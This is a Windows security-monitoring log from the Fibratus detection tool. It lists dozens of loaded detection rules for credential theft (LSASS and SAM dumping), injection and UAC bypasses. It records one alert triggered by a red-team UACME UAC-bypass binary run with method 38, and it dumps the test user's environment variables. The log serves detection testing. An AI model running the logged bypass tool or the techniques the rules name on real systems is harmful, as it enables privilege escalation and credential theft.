+time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:20:38+01:00 level=info msg=bootstrapping with pid 20208. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:20:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false enable-mem=>false enable-registry=>true min-buffers=>16 enable-thread=>true enable-threadpool=>false stack-enrichment=>true enable-image=>true max-buffers=>36 enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-dns=>false flush-interval=>1s enable-net=>true buffer-size=>512 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true formatter=>text level=>info max-age=>0] + output ......................... [ http=>[ endpoints=>[] enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus timeout=>5s enabled=>false durable=>false exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false vhost=>/ exchange-type=>topic] elasticsearch=>[ timeout=>5s flush-period=>1s index-name=>fibratus sniff=>false trace-log=>false healthcheck-timeout=>5s gzip-compression=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus enabled=>false healthcheck-interval=>10s]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false enabled=>false scan-timeout=>10s excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:20:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:20:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:20:54+01:00 level=info msg=sending alert: [UAC bypass via rouge MMC snap-in]. Text: Event(s): + Seq: 8631092 + Pid: 1672 + Tid: 7452 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:20:46.3421895 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff978f754797f0, file_path➜ C:\Users\nedo\AppData\Local\Temp\kmkze.msc, irp➜ ffff978f6206a0f8, share_mask➜ , status➜ Success, tid➜ 7452, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via rouge MMC snap-in, tactic.id: TA0004 + + Pid: 1672 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:20:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:20:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:20:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:21:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 